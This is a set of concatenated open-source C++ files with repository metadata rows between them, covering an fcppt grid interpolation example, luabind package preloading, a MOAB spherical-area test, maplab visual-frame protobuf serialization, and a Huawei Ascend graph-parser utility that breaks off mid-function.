fcppt::math::vector::static_<float,2> float2d_vector; void interpolate_grid() { float2d_grid grid( float2d_grid::dim( 2u, 2u ), fcppt::no_init{} ); grid[float2d_grid::pos( 0u, 0u)] = 0.0f; grid[float2d_grid::pos( 0u, 1u)] = 1.0f; grid[float2d_grid::pos( 1u, 0u)] = 2.0f; grid[float2d_grid::pos( 1u, 1u)] = 3.0f; float const result = fcppt::container::grid::interpolate( grid, float2d_vector(0.5f,0.5f), fcppt::math::interpolation::linear_functor()); // Will bilinearly interpolate ALL the grid points and return something // inbetween (too lazy to calculate) std::cout << result << '\n'; } //! [grid_interpolate] } int main() { init(); use_grid(); resize_grid(); interpolate_grid(); }
14.15873
72
0.631166
[ "object", "vector" ]
2fc376b9df23895242ebbfdf4a610a2dc468eff3
1,915
cpp
C++
src/set_package_preload.cpp
nitrocaster/luabind-deboostified
72cc6e5e9da61d8ba0cd6835937a827c2cbad652
[ "BSL-1.0" ]
3
2015-11-23T08:19:40.000Z
2020-11-03T01:52:37.000Z
src/set_package_preload.cpp
nitrocaster/luabind-deboostified
72cc6e5e9da61d8ba0cd6835937a827c2cbad652
[ "BSL-1.0" ]
4
2020-10-18T23:11:14.000Z
2021-01-01T20:54:49.000Z
src/set_package_preload.cpp
nitrocaster/luabind-deboostified
72cc6e5e9da61d8ba0cd6835937a827c2cbad652
[ "BSL-1.0" ]
1
2020-12-28T18:47:11.000Z
2020-12-28T18:47:11.000Z
// Boost Software License http://www.boost.org/LICENSE_1_0.txt // Copyright (c) 2003 The Luabind Authors #include <luabind/set_package_preload.hpp> #include <luabind/config.hpp> #include <luabind/detail/object.hpp> // for object, rawget, globals #include <luabind/detail/conversion_policies/conversion_policies.hpp> #include <luabind/lua_include.hpp> // for lua_pushstring, lua_rawset, etc namespace luabind { static int do_set_package_preload(lua_State* L) { // Note: Use ordinary set/get instead of the raw variants, because this // function should not be performance sensitive anyway. lua_pushglobaltable(L); lua_getfield(L, -1, "package"); lua_remove(L, -2); // Remove global table. lua_getfield(L, -1, "preload"); lua_remove(L, -2); // Remove package table. lua_insert(L, -3); // Move package.preload beneath key and value. lua_settable(L, -3); // package.preload[modulename] = loader return 0; } static int proxy_loader(lua_State* L) { luaL_checkstring(L, 1); // First argument should be the module name. lua_settop(L, 1); // Ignore any other arguments. lua_pushvalue(L, lua_upvalueindex(1)); // Push the real loader. lua_insert(L, 1); // Move it beneath the argument. lua_call(L, 1, LUA_MULTRET); // Pops everyhing. return lua_gettop(L); } void set_package_preload(lua_State* L, char const* module_name, object const& loader) { loader.push(L); lua_pushcclosure(L, &proxy_loader, 1); object const proxy_ldr(from_stack(L, -1)); lua_pop(L, 1); // pop do_load. lua_pushcfunction(L, &do_set_package_preload); // Must use object for correct popping in case of errors: object do_set(from_stack(L, -1)); lua_pop(L, 1); do_set(module_name, proxy_ldr); } } // namespace luabind
39.081633
89
0.657963
[ "object" ]
2fc3b4dcc43c0ffae097221e89bd8eda05b9735c
1,241
cpp
C++
thirdparty/moab/tools/mbcslam/spherical_area_test.cpp
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
null
null
null
thirdparty/moab/tools/mbcslam/spherical_area_test.cpp
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
4
2016-11-10T15:49:51.000Z
2017-02-06T23:24:16.000Z
thirdparty/moab/tools/mbcslam/spherical_area_test.cpp
yumin/SMTK
d280f10c5b70953b2a0196f71832955c7fc75e7f
[ "BSD-3-Clause-Clear" ]
null
null
null
/* * spherical_area_test.cpp * * Created on: Feb 1, 2013 */ #include <iostream> #include "moab/Core.hpp" #include "moab/Interface.hpp" #include "CslamUtils.hpp" #include "../test/TestUtil.hpp" using namespace moab; int main(int/* argc*/, char** /* argv[]*/) { // check command line arg const char *filename_mesh = STRINGIFY(MESHDIR) "/mbcslam/eulerHomme.vtk"; // read input mesh in a set ErrorCode rval = MB_SUCCESS; Core moab; Interface* mb = &moab;// global EntityHandle sf; rval = mb->create_meshset(MESHSET_SET, sf); if (MB_SUCCESS != rval) return 1; rval=mb->load_file(filename_mesh, &sf); if (MB_SUCCESS != rval) return 1; double R = 6.; // should be input // compare total area with 4*M_PI * R^2 double total_area = area_on_sphere(mb, sf, R) ; double area_sphere = R*R*M_PI*4.; std::cout<<"total area with Girard: " << total_area << " area_sphere:" << area_sphere << " rel error:" << fabs((total_area-area_sphere)/area_sphere) << "\n"; double area2 = area_on_sphere_lHuiller(mb, sf, R) ; std::cout<<"total area with l'Huiller: " << area2 << " area_sphere:" << area_sphere << " rel error:" << fabs((total_area-area_sphere)/area_sphere) << "\n"; return 0; }
25.326531
105
0.647865
[ "mesh" ]
2fc5ab50d47c3f3f067a0b0d68247e2827beb25d
8,534
cc
C++
common/aslam-serialization/src/visual-frame-serialization.cc
AdronTech/maplab
1340e01466fc1c02994860723b8117daf9ad226d
[ "Apache-2.0" ]
1,936
2017-11-27T23:11:37.000Z
2022-03-30T14:24:14.000Z
common/aslam-serialization/src/visual-frame-serialization.cc
AdronTech/maplab
1340e01466fc1c02994860723b8117daf9ad226d
[ "Apache-2.0" ]
353
2017-11-29T18:40:39.000Z
2022-03-30T15:53:46.000Z
common/aslam-serialization/src/visual-frame-serialization.cc
AdronTech/maplab
1340e01466fc1c02994860723b8117daf9ad226d
[ "Apache-2.0" ]
661
2017-11-28T07:20:08.000Z
2022-03-28T08:06:29.000Z
#include "aslam-serialization/visual-frame-serialization.h" #include <glog/logging.h> #include <aslam/cameras/camera.h> #include <aslam/cameras/ncamera.h> #include <aslam/frames/visual-frame.h> #include <aslam/frames/visual-nframe.h> #include <maplab-common/aslam-id-proto.h> #include <maplab-common/eigen-proto.h> namespace aslam { namespace serialization { void serializeVisualFrame( const aslam::VisualFrame& frame, aslam::proto::VisualFrame* proto) { CHECK_NOTNULL(proto); ::common::aslam_id_proto::serialize(frame.getId(), proto->mutable_id()); proto->set_timestamp(frame.getTimestampNanoseconds()); if (frame.hasKeypointMeasurements()) { ::common::eigen_proto::serialize( frame.getKeypointMeasurements(), proto->mutable_keypoint_measurements()); ::common::eigen_proto::serialize( frame.getKeypointMeasurementUncertainties(), proto->mutable_keypoint_measurement_sigmas()); CHECK_EQ( proto->keypoint_measurements_size(), 2 * proto->keypoint_measurement_sigmas_size()); if (frame.hasKeypointScales()) { ::common::eigen_proto::serialize( frame.getKeypointScales(), proto->mutable_descriptor_scales()); CHECK_EQ( proto->keypoint_measurement_sigmas_size(), proto->descriptor_scales_size()); } const aslam::VisualFrame::DescriptorsT& descriptors = frame.getDescriptors(); VLOG(200) << "Frame " << frame.getId() << " has " << descriptors.cols() << " descriptors!"; internal::serializeDescriptors(descriptors, proto); proto->set_is_valid(frame.isValid()); if (frame.hasTrackIds()) { ::common::eigen_proto::serialize( frame.getTrackIds(), proto->mutable_track_ids()); } } else { VLOG(200) << "Frame " << frame.getId() << " has no descriptors!"; } } void deserializeVisualFrame( const aslam::proto::VisualFrame& proto, aslam::VisualFrame::Ptr* frame) { CHECK_NOTNULL(frame); aslam::Camera::Ptr camera; deserializeVisualFrame(proto, camera, frame); } void deserializeVisualFrame( const aslam::proto::VisualFrame& proto, const aslam::Camera::ConstPtr& camera, aslam::VisualFrame::Ptr* frame) { CHECK_NOTNULL(frame)->reset(); aslam::FrameId frame_id; ::common::aslam_id_proto::deserialize(proto.id(), &frame_id); // If the frame_id is invalid this frame has been un-set. if (frame_id.isValid()) { bool success = true; success &= (2 * proto.keypoint_measurement_sigmas_size() == proto.keypoint_measurements_size()); if (proto.keypoint_descriptor_size() != 0) { success &= (proto.keypoint_descriptors().size() / proto.keypoint_descriptor_size() == static_cast<unsigned int>(proto.keypoint_measurement_sigmas_size())); } CHECK(success) << "Inconsistent landmark Visual Frame field sizes."; Eigen::Map<const Eigen::Matrix2Xd> img_points_distorted( proto.keypoint_measurements().data(), 2, proto.keypoint_measurements_size() / 2); Eigen::Map<const Eigen::VectorXd> uncertainties( proto.keypoint_measurement_sigmas().data(), proto.keypoint_measurement_sigmas_size()); Eigen::Map<const Eigen::VectorXd> scales( proto.descriptor_scales().data(), proto.descriptor_scales_size()); Eigen::Map<const Eigen::VectorXi> track_ids( proto.track_ids().data(), proto.track_ids_size()); *frame = aligned_shared<aslam::VisualFrame>(); aslam::VisualFrame& frame_ref = **frame; if (camera != nullptr) { frame_ref.setCameraGeometry(camera); } frame_ref.setId(frame_id); frame_ref.setTimestampNanoseconds(proto.timestamp()); frame_ref.setKeypointMeasurements(img_points_distorted); frame_ref.setKeypointMeasurementUncertainties(uncertainties); if (scales.rows() != 0) { CHECK_EQ(scales.rows(), uncertainties.rows()); frame_ref.setKeypointScales(scales); } if (track_ids.rows() != 0) { CHECK_EQ(track_ids.rows(), uncertainties.rows()); frame_ref.setTrackIds(track_ids); } // Need to set empty descriptors, otherwise getMutable call below fails. frame_ref.setDescriptors(aslam::VisualFrame::DescriptorsT()); internal::deserializeDescriptors(proto, frame_ref.getDescriptorsMutable()); CHECK(frame_ref.hasKeypointMeasurements()); CHECK(frame_ref.hasKeypointMeasurementUncertainties()); CHECK(frame_ref.hasDescriptors()); if (proto.has_is_valid() && !proto.is_valid()) { frame_ref.invalidate(); } } } void serializeVisualNFrame( const aslam::VisualNFrame& n_frame, aslam::proto::VisualNFrame* proto) { CHECK_NOTNULL(proto); ::common::aslam_id_proto::serialize(n_frame.getId(), proto->mutable_id()); const unsigned int num_frames = n_frame.getNumFrames(); for (unsigned int i = 0u; i < num_frames; ++i) { aslam::proto::VisualFrame* visual_frame_proto = CHECK_NOTNULL(proto->add_frames()); if (n_frame.isFrameSet(i)) { const aslam::VisualFrame& visual_frame = n_frame.getFrame(i); serializeVisualFrame(visual_frame, visual_frame_proto); } else { // Set invalid id to proto::VisualFrame. ::common::aslam_id_proto::serialize( aslam::FrameId(), visual_frame_proto->mutable_id()); } } } void deserializeVisualNFrame( const aslam::proto::VisualNFrame& proto, aslam::VisualNFrame::Ptr* n_frame) { CHECK_NOTNULL(n_frame); aslam::NCamera::Ptr n_camera; deserializeVisualNFrame(proto, n_camera, n_frame); } void deserializeVisualNFrame( const aslam::proto::VisualNFrame& proto, const aslam::NCamera::Ptr& n_camera, aslam::VisualNFrame::Ptr* n_frame) { CHECK_NOTNULL(n_frame); aslam::NFramesId n_frame_id; ::common::aslam_id_proto::deserialize(proto.id(), &n_frame_id); CHECK_GT(proto.frames_size(), 0); const int num_frames = proto.frames_size(); if (*n_frame == nullptr) { // NFrame is not instantiated yet, let's construct the object with dummy // NCamera object (but with correct number of cameras). n_frame->reset(new aslam::VisualNFrame(n_frame_id, num_frames)); } else { (*n_frame)->setId(n_frame_id); } aslam::VisualNFrame& n_frame_ref = **n_frame; CHECK(n_frame != nullptr); if (n_camera != nullptr) { n_frame_ref.setNCameras(n_camera); } for (int i = 0; i < num_frames; ++i) { const aslam::proto::VisualFrame& visual_frame_proto = proto.frames(i); aslam::VisualFrame::Ptr visual_frame; if (n_camera == nullptr && n_frame_ref.getNCameraShared() != nullptr) { const aslam::Camera::Ptr cam = n_frame_ref.getNCameraShared()->getCameraShared(i); deserializeVisualFrame( visual_frame_proto, n_frame_ref.getNCameraShared()->getCameraShared(i), &visual_frame); } else if (n_camera != nullptr) { deserializeVisualFrame( visual_frame_proto, n_camera->getCameraShared(i), &visual_frame); } else { deserializeVisualFrame(visual_frame_proto, &visual_frame); } if (visual_frame != nullptr) { n_frame_ref.setFrame(i, visual_frame); } else { n_frame_ref.unSetFrame(i); } } } namespace internal { void serializeDescriptors( const aslam::VisualFrame::DescriptorsT& descriptors, aslam::proto::VisualFrame* proto) { CHECK_NOTNULL(proto); proto->set_keypoint_descriptor_size( descriptors.rows() * sizeof(aslam::VisualFrame::DescriptorsT::Scalar)); std::string* descriptors_string = proto->mutable_keypoint_descriptors(); descriptors_string->resize( descriptors.size() * sizeof(aslam::VisualFrame::DescriptorsT::Scalar)); Eigen::Map<aslam::VisualFrame::DescriptorsT> descriptors_map( reinterpret_cast<unsigned char*>(&descriptors_string->front()), descriptors.rows(), descriptors.cols()); descriptors_map = descriptors; } void deserializeDescriptors( const aslam::proto::VisualFrame& proto, aslam::VisualFrame::DescriptorsT* descriptors) { CHECK_NOTNULL(descriptors); if (proto.keypoint_descriptor_size() != 0) { Eigen::Map<const aslam::VisualFrame::DescriptorsT> descriptor_map( reinterpret_cast<const unsigned char*>( &proto.keypoint_descriptors().front()), proto.keypoint_descriptor_size(), proto.keypoint_descriptors().size() / proto.keypoint_descriptor_size()); *descriptors = descriptor_map; } else { descriptors->resize(0, 0); } } } // namespace internal } // namespace serialization } // namespace aslam
34.41129
80
0.693579
[ "object" ]
2fc6b647657ebe8ad2fbbedfadc751464c0199ad
36,702
cc
C++
parser/common/acl_graph_parser_util.cc
Ascend/parser
fc02ad76d2892cbe600a1f3906f68246284b84a1
[ "Apache-2.0" ]
1
2020-11-17T02:01:09.000Z
2020-11-17T02:01:09.000Z
parser/common/acl_graph_parser_util.cc
Ascend/parser
fc02ad76d2892cbe600a1f3906f68246284b84a1
[ "Apache-2.0" ]
1
2021-05-28T01:46:21.000Z
2021-05-28T21:06:46.000Z
parser/common/acl_graph_parser_util.cc
Ascend/parser
fc02ad76d2892cbe600a1f3906f68246284b84a1
[ "Apache-2.0" ]
null
null
null
/** * Copyright 2020 Huawei Technologies Co., Ltd * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "parser/common/acl_graph_parser_util.h" #include <dlfcn.h> #include <regex.h> #include <cstdlib> #include <ctime> #include <fstream> #include "common/string_util.h" #include "common/util.h" #include "common/util/error_manager/error_manager.h" #include "external/ge/ge_api_types.h" #include "framework/common/debug/ge_log.h" #include "framework/omg/parser/parser_types.h" #include "ge/ge_api_types.h" #include "google/protobuf/io/coded_stream.h" #include "google/protobuf/io/zero_copy_stream_impl.h" #include "graph/debug/ge_attr_define.h" #include "graph/opsproto_manager.h" #include "graph/utils/type_utils.h" #include "omg/parser/parser_inner_ctx.h" #include "parser/common/register_tbe.h" #include "tbe_plugin_loader.h" using google::protobuf::io::CodedInputStream; using google::protobuf::io::FileInputStream; using google::protobuf::io::ZeroCopyInputStream; using namespace ge::parser; namespace { const std::string kGraphDefaultName = "domi_default"; /// The maximum length of the file. /// Based on the security coding specification and the current actual (protobuf) model size, it is determined as 2G-1 const int kMaxFileSizeLimit = INT_MAX; const int kMaxBuffSize = 256; const int kProtoReadBytesLimit = INT_MAX; // Max size of 2 GB minus 1 byte. const int kWarningThreshold = 536870912 * 2; // 536870912 represent 512M static string GetSoPath() { Dl_info dl_info; if (dladdr(reinterpret_cast<void *>(&GetSoPath), &dl_info) == 0) { GELOGW("Failed to read so_path!"); return string(); } else { std::string so_path = dl_info.dli_fname; char path[PATH_MAX] = {0}; if (so_path.length() >= PATH_MAX) { GELOGW("File path is too long!"); return string(); } if (realpath(so_path.c_str(), path) == nullptr) { GELOGW("Failed to get realpath of %s", so_path.c_str()); return string(); } so_path = path; so_path = so_path.substr(0, so_path.rfind('/') + 1); return so_path; } } static void GetOpsProtoPath(string &opsproto_path) { GELOGD("Start to get ops proto path schedule."); const char *path_env = std::getenv("ASCEND_OPP_PATH"); if (path_env != nullptr) { string path = path_env; string file_path = ge::parser::RealPath(path.c_str()); if (file_path.empty()) { GELOGE(ge::FAILED, "File path %s is invalid.", path.c_str()); return; } opsproto_path = (path + "/op_proto/custom/" + ":") + (path + "/op_proto/built-in/"); GELOGI("Get opsproto so path from env : %s", path.c_str()); return; } string path_base = GetSoPath(); GELOGI("path_base is %s", path_base.c_str()); path_base = path_base.substr(0, path_base.rfind('/')); path_base = path_base.substr(0, path_base.rfind('/') + 1); opsproto_path = (path_base + "ops/op_proto/custom/" + ":") + (path_base + "ops/op_proto/built-in/"); } static void GetAclParams(const std::map<ge::AscendString, ge::AscendString> &parser_params, const string &key, string &value) { for (auto &ele : parser_params) { const char *key_ascend = ele.first.GetString(); if (key_ascend == nullptr) { GELOGW("Input options key is null, Please check!"); continue; } string key_str = key_ascend; if (key == key_str) { const char *value_ascend = ele.second.GetString(); if (value_ascend == nullptr) { value = ""; } else { value = value_ascend; } return; } } value = ""; return; } static bool CheckDigitStr(std::string &str) { for (char c : str) { if (!isdigit(c)) { GELOGE(domi::FAILED, "Value[%s] is not positive integer", str.c_str()); return false; } } return true; } } // namespace namespace ge { static bool CheckInputTrueOrFalse(const std::string &s, const std::string &atc_param) { if ((s == "true") || (s == "false")) { return true; } else { ErrorManager::GetInstance().ATCReportErrMessage("E10005", {"parameter", "value"}, {atc_param, s}); GELOGE(PARAM_INVALID, "Input parameter[%s]'s value[%s] must be true or false.", atc_param.c_str(), s.c_str()); return false; } } static Status CheckOutNode(ge::OpDescPtr op_desc, int32_t index) { int32_t out_size = op_desc->GetOutputsSize(); if (index < 0 || index >= out_size) { GELOGE(domi::FAILED, "out_node [%s] output index:%d must be smaller " "than node output size:%d and can not be negative!", op_desc->GetName().c_str(), index, out_size); std::string fail_reason = "output index:" + to_string(index) + " must be smaller than output size:" + to_string(out_size) + " and can not be negative!"; ErrorManager::GetInstance().ATCReportErrMessage("E10003", {"parameter", "value", "reason"}, {"out_nodes", op_desc->GetName(), fail_reason}); return domi::FAILED; } return domi::SUCCESS; } domi::Status AclGrphParseUtil::LoadOpsProtoLib() { string opsproto_path; GetOpsProtoPath(opsproto_path); GELOGI("Get opsproto path is %s", opsproto_path.c_str()); OpsProtoManager *manager = OpsProtoManager::Instance(); map<string, string> option_tmp; option_tmp.emplace(std::pair<string, string>(string("ge.opsProtoLibPath"), opsproto_path)); bool is_proto_init = manager->Initialize(option_tmp); if (!is_proto_init) { GELOGE(FAILED, "Load ops_proto lib failed, ops proto path is invalid."); return FAILED; } return SUCCESS; } void AclGrphParseUtil::SaveCustomCaffeProtoPath() { GELOGD("Enter save custom caffe proto path."); std::string path_base = GetSoPath(); path_base = path_base.substr(0, path_base.rfind('/')); path_base = path_base.substr(0, path_base.rfind('/') + 1); ge::GetParserContext().caffe_proto_path = path_base + "include/proto/"; string custom_op_path; const char *path_env = std::getenv("ASCEND_OPP_PATH"); if (path_env != nullptr) { std::string path = path_env; custom_op_path = path + "/framework/custom/caffe/"; GELOGI("Get custom proto path from env : %s", path_env); GetParserContext().custom_proto_path = custom_op_path; return; } custom_op_path = path_base + "ops/framework/custom/caffe/"; ge::GetParserContext().custom_proto_path = custom_op_path; return; } // Initialize PARSER, load custom op plugin // options will be used later for parser decoupling domi::Status AclGrphParseUtil::AclParserInitialize(const std::map<std::string, std::string> &options) { GELOGT(TRACE_INIT, "AclParserInitialize start"); // check init status if (parser_initialized) { GELOGW("AclParserInitialize is called more than once"); return SUCCESS; } // load custom op plugin TBEPluginLoader::Instance().LoadPluginSo(options); // load and save custom op proto for prediction (void)LoadOpsProtoLib(); SaveCustomCaffeProtoPath(); auto op_registry = domi::OpRegistry::Instance(); if (op_registry == nullptr) { GELOGE(FAILED, "Get OpRegistry instance failed"); return FAILED; } auto it = options.find(ge::FRAMEWORK_TYPE); if (it == options.end()) { GELOGE(FAILED, "Can not find ge.frameworkType in options"); return FAILED; } std::string fmk_type = it->second; std::vector<OpRegistrationData> registrationDatas = op_registry->registrationDatas; GELOGI("The size of registrationDatas in parser is: %zu", registrationDatas.size()); for (OpRegistrationData &reg_data : registrationDatas) { if (std::to_string(reg_data.GetFrameworkType()) == fmk_type) { (void)OpRegistrationTbe::Instance()->Finalize(reg_data, false); (void)domi::OpRegistry::Instance()->Register(reg_data); } } // set init status if (!parser_initialized) { // Initialize success, first time calling initialize parser_initialized = true; } GELOGT(TRACE_STOP, "AclParserInitialize finished"); return SUCCESS; } void AclGrphParseUtil::SetDefaultFormat() { if (ge::GetParserContext().type == domi::TENSORFLOW) { ge::GetParserContext().format = domi::DOMI_TENSOR_NHWC; } else { ge::GetParserContext().format = domi::DOMI_TENSOR_NCHW; } } domi::Status AclGrphParseUtil::ParseAclOutputNodes(const string &out_nodes) { try { // parse output node if (!out_nodes.empty()) { ge::GetParserContext().out_nodes_map.clear(); ge::GetParserContext().user_out_nodes.clear(); ge::GetParserContext().user_out_nodes_top_vec.clear(); vector<string> nodes_v = StringUtils::Split(out_nodes, ';'); for (const string &node : nodes_v) { vector<string> key_value_v = StringUtils::Split(node, ':'); if (key_value_v.size() != 2) { // The size must be 2. if (key_value_v.size() == 1 && ge::GetParserContext().type == domi::CAFFE) { ge::GetParserContext().user_out_nodes_top_vec.push_back(node); continue; } ErrorManager::GetInstance().ATCReportErrMessage( "E10001", {"parameter", "value", "reason"}, {"out_nodes", node, "the correct format is \"node_name1:0;node_name1:1;node_name2:0\""}); GELOGE(PARAM_INVALID, "The input format of out_nodes is invalid, the correct format is " "\"node_name1:0;node_name1:1;node_name2:0\", while the actual input is %s.", node.c_str()); return PARAM_INVALID; } if (!ge::GetParserContext().user_out_nodes_top_vec.empty()) { ErrorManager::GetInstance().ATCReportErrMessage("E10001", {"parameter", "value", "reason"}, {"out_nodes", out_nodes, "is not all index or top_name"}); GELOGE(PARAM_INVALID, "This out_nodes str must be all index or top_name, while the actual input is %s", out_nodes.c_str()); return PARAM_INVALID; } // stoi: The method may throw an exception: invalid_argument/out_of_range if (!CheckDigitStr(key_value_v[1])) { ErrorManager::GetInstance().ATCReportErrMessage("E10001", {"parameter", "value", "reason"}, {"out_nodes", out_nodes, "is not positive integer"}); GELOGE(PARAM_INVALID, "This str must be digit string, while the actual input is %s", out_nodes.c_str()); return PARAM_INVALID; } auto iter = ge::GetParserContext().out_nodes_map.find(key_value_v[0]); int32_t index = stoi(StringUtils::Trim(key_value_v[1])); GELOGD("Get output info: node[%s] and index[%d]", key_value_v[0].c_str(), index); if (iter != ge::GetParserContext().out_nodes_map.end()) { iter->second.emplace_back(index); } else { std::vector<int32_t> index_v; index_v.emplace_back(index); ge::GetParserContext().out_nodes_map.emplace(key_value_v[0], index_v); } ge::GetParserContext().user_out_nodes.push_back(std::make_pair(key_value_v[0], index)); } } } catch (std::invalid_argument &) { GELOGE(PARAM_INVALID, "Invalid of out_nodes: %s ", out_nodes.c_str()); ErrorManager::GetInstance().ATCReportErrMessage("E10014", {"parameter", "value"}, {"out_nodes", out_nodes}); return PARAM_INVALID; } catch (std::out_of_range &) { GELOGE(PARAM_INVALID, "Invalid of out_nodes: %s ", out_nodes.c_str()); ErrorManager::GetInstance().ATCReportErrMessage("E10013", {"parameter", "value"}, {"out_nodes", out_nodes}); return PARAM_INVALID; } return SUCCESS; } domi::Status AclGrphParseUtil::ParseAclOutputFp16NodesFormat(const string &is_output_fp16) { if (is_output_fp16.empty()) { return SUCCESS; } vector<domiTensorFormat_t> &output_formats = ge::GetParserContext().output_formats; output_formats.clear(); vector<string> node_format_vec = StringUtils::Split(is_output_fp16, ','); for (auto &is_fp16 : node_format_vec) { StringUtils::Trim(is_fp16); if (!CheckInputTrueOrFalse(is_fp16, "is_output_adjust_hw_layout")) { GELOGE(PARAM_INVALID, "Invalid Param, is_output_adjust_hw_layout only support true/false: but is [%s]", is_output_fp16.c_str()); return PARAM_INVALID; } if (is_fp16 == "false") { output_formats.push_back(DOMI_TENSOR_ND); } else if (is_fp16 == "true") { output_formats.push_back(domi::DOMI_TENSOR_NC1HWC0); } } return SUCCESS; } domi::Status AclGrphParseUtil::ParseAclEnableScope(const string &enable_scope_fusion_passes) { ge::GetParserContext().enable_scope_fusion_passes.clear(); if (enable_scope_fusion_passes.empty()) { return SUCCESS; } ge::GetParserContext().enable_scope_fusion_passes = enable_scope_fusion_passes; return SUCCESS; } void AclGrphParseUtil::AddAttrsForInputNodes(const vector<string> &adjust_fp16_format_vec, const string &fp16_nodes_name, uint32_t index, OpDescPtr &op_desc) { if (AttrUtils::SetStr(op_desc, ATTR_ATC_USER_DEFINE_DATATYPE, TypeUtils::DataTypeToSerialString(DT_FLOAT16))) { if ((index < adjust_fp16_format_vec.size()) && (adjust_fp16_format_vec[index] == "true")) { GELOGI("This node [%s] should be set NC1HWC0", fp16_nodes_name.c_str()); if (!AttrUtils::SetStr(op_desc, ATTR_ATC_USER_DEFINE_FORMAT, TypeUtils::FormatToSerialString(FORMAT_NC1HWC0))) { GELOGW("This node [%s] set NC1HWC0 failed", fp16_nodes_name.c_str()); } } } } domi::Status AclGrphParseUtil::ParseAclInputFp16Nodes(const ComputeGraphPtr &graph, const string &input_fp16_nodes, const string &is_input_adjust_hw_layout) { GE_CHECK_NOTNULL(graph); vector<string> adjust_fp16_format_vec; if (!is_input_adjust_hw_layout.empty()) { adjust_fp16_format_vec = StringUtils::Split(is_input_adjust_hw_layout, ','); for (auto &s : adjust_fp16_format_vec) { StringUtils::Trim(s); if (!CheckInputTrueOrFalse(s, "is_input_adjust_hw_layout")) { GELOGE(PARAM_INVALID, "Invalid Param, is_input_adjust_hw_layout only support true/false: but is [%s]", is_input_adjust_hw_layout.c_str()); return PARAM_INVALID; } } } if (input_fp16_nodes.empty()) { return SUCCESS; } GELOGI("The input_fp16_nodes is set %s", input_fp16_nodes.c_str()); vector<string> input_fp16_nodes_vec = StringUtils::Split(input_fp16_nodes, ';'); for (uint32_t i = 0; i < input_fp16_nodes_vec.size(); ++i) { ge::NodePtr node = graph->FindNode(input_fp16_nodes_vec[i]); if (node == nullptr) { ErrorManager::GetInstance().ATCReportErrMessage("E10016", {"parameter", "opname"}, {"input_fp16_nodes", input_fp16_nodes_vec[i]}); GELOGE(PARAM_INVALID, "Input parameter[input_fp16_nodes]'s opname[%s] is not exist in model", input_fp16_nodes_vec[i].c_str()); return PARAM_INVALID; } auto op_desc = node->GetOpDesc(); GE_CHECK_NOTNULL(op_desc); if (op_desc->GetType() != ge::parser::DATA) { ErrorManager::GetInstance().ATCReportErrMessage("E10017", {"parameter", "opname"}, {"input_fp16_nodes", input_fp16_nodes_vec[i]}); GELOGE(PARAM_INVALID, "Input parameter[input_fp16_nodes]'s opname[%s] is not a input opname", input_fp16_nodes_vec[i].c_str()); return PARAM_INVALID; } AddAttrsForInputNodes(adjust_fp16_format_vec, input_fp16_nodes_vec[i], i, op_desc); } return SUCCESS; } void AclGrphParseUtil::GetOutputNodesNameAndIndex(std::vector<std::pair<ge::NodePtr, int32_t>> &output_nodes_info, std::vector<std::string> &output_nodes_name) { output_nodes_name.clear(); if (ge::GetParserContext().out_top_names.empty()) { // tf process, no top name. for (const auto output_node_info : output_nodes_info) { std::string node_name = output_node_info.first->GetName(); int32_t index = output_node_info.second; output_nodes_name.push_back(node_name + ":" + std::to_string(index)); } return; } // caffe process, need add top name after node_name:index for (size_t i = 0; i < output_nodes_info.size(); ++i) { std::string node_name = output_nodes_info[i].first->GetName(); int32_t index = output_nodes_info[i].second; if (i < ge::GetParserContext().out_top_names.size()) { output_nodes_name.push_back(node_name + ":" + std::to_string(index) + ":" + ge::GetParserContext().out_top_names[i]); } else { GELOGW("Get top name of node [%s] fail.", node_name.c_str()); output_nodes_name.push_back(node_name + ":" + std::to_string(index)); } } } domi::Status AclGrphParseUtil::GetOutputLeaf(NodePtr node, std::vector<std::pair<ge::NodePtr, int32_t>> &output_nodes_info) { ge::OpDescPtr tmpDescPtr = node->GetOpDesc(); if (tmpDescPtr == nullptr) { GELOGE(domi::FAILED, "Get outnode op desc fail."); return domi::FAILED; } size_t size = tmpDescPtr->GetOutputsSize(); if (node->GetType() != ge::parser::NETOUTPUT) { for (size_t index = 0; index < size; ++index) { output_nodes_info.push_back(std::make_pair(node, index)); GELOGD("Get output leaf node:%s.", node->GetName().c_str()); } } else { const auto in_anchors = node->GetAllInDataAnchors(); for (auto in_anchor : in_anchors) { auto out_anchor = in_anchor->GetPeerOutAnchor(); if (out_anchor == nullptr) { GELOGE(domi::FAILED, "Get leaf node op desc fail."); return domi::FAILED; } auto out_node = out_anchor->GetOwnerNode(); output_nodes_info.push_back(std::make_pair(out_node, out_anchor->GetIdx())); } } return SUCCESS; } domi::Status AclGrphParseUtil::GetDefaultOutInfo(ge::ComputeGraphPtr &compute_graph, std::vector<std::pair<ge::NodePtr, int32_t>> &output_nodes_info) { std::vector<std::pair<std::string, int32_t>> default_out_nodes = ge::GetParserContext().default_out_nodes; if (ge::GetParserContext().type == domi::CAFFE && !default_out_nodes.empty()) { for (uint32_t i = 0; i < default_out_nodes.size(); ++i) { ge::NodePtr out_node = compute_graph->FindNode(default_out_nodes[i].first); if (out_node == nullptr) { ErrorManager::GetInstance().ATCReportErrMessage("E10016", {"parameter", "opname"}, {"out_nodes", default_out_nodes[i].first}); GELOGE(domi::FAILED, "Can not find src node (%s) in graph.", default_out_nodes[i].first.c_str()); return domi::FAILED; } output_nodes_info.push_back(std::make_pair(out_node, default_out_nodes[i].second)); GELOGD("Get default output node:%s.", out_node->GetName().c_str()); } return domi::SUCCESS; } for (ge::NodePtr node : compute_graph->GetDirectNode()) { if (!node->GetInAllNodes().empty() && node->GetOutAllNodes().empty()) { Status ret = GetOutputLeaf(node, output_nodes_info); GE_CHK_BOOL_RET_STATUS(ret == SUCCESS, ret, "Find leaf fail."); } } return domi::SUCCESS; } domi::Status AclGrphParseUtil::SetOutputNodeInfo(ge::Graph &graph, const std::map<AscendString, AscendString> &parser_params) { ge::ComputeGraphPtr compute_graph = ge::GraphUtils::GetComputeGraph(graph); GE_CHECK_NOTNULL(compute_graph); std::vector<std::pair<std::string, int32_t>> user_out_nodes = ge::GetParserContext().user_out_nodes; 